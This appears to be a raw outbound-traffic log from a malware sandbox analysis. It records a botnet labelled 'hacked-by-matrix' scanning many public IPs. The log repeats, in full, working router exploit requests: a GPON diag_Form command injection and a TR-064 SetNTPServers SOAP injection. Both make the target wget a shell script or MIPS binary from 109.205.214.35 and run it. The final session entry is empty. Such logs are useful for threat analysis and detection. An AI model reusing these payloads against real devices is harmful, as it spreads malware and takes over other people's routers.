Mar 21, 2024 05:18:00.194993019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.23	38324	210.151.115.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.195058107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
847	192.168.2.23	37974	109.191.234.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.195065975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.23	33632	212.231.229.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.195127964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.23	45374	212.245.16.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.195188046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.23	56368	79.76.99.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.195204020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.23	53390	118.207.183.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.195242882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.23	39754	37.55.100.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.195302010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.23	47486	118.82.73.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.195328951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.23	32962	109.36.112.227	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.342695951 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:00.888945103 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:01.976587057 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:04.152462959 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:08.503679037 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:17.206473112 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:35.124018908 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.23	36978	71.94.231.100	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.368340015 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:01.433187008 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:02.682909012 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:05.176135063 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:10.295435905 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.23	32990	109.36.112.227	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.529330015 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:01.113117933 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:02.264756918 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:04.664186954 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:09.271590948 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:18.486335993 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:37.171705008 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.23	53522	94.33.6.219	7547

Timestamp	Bytes transferred	Direction	Data
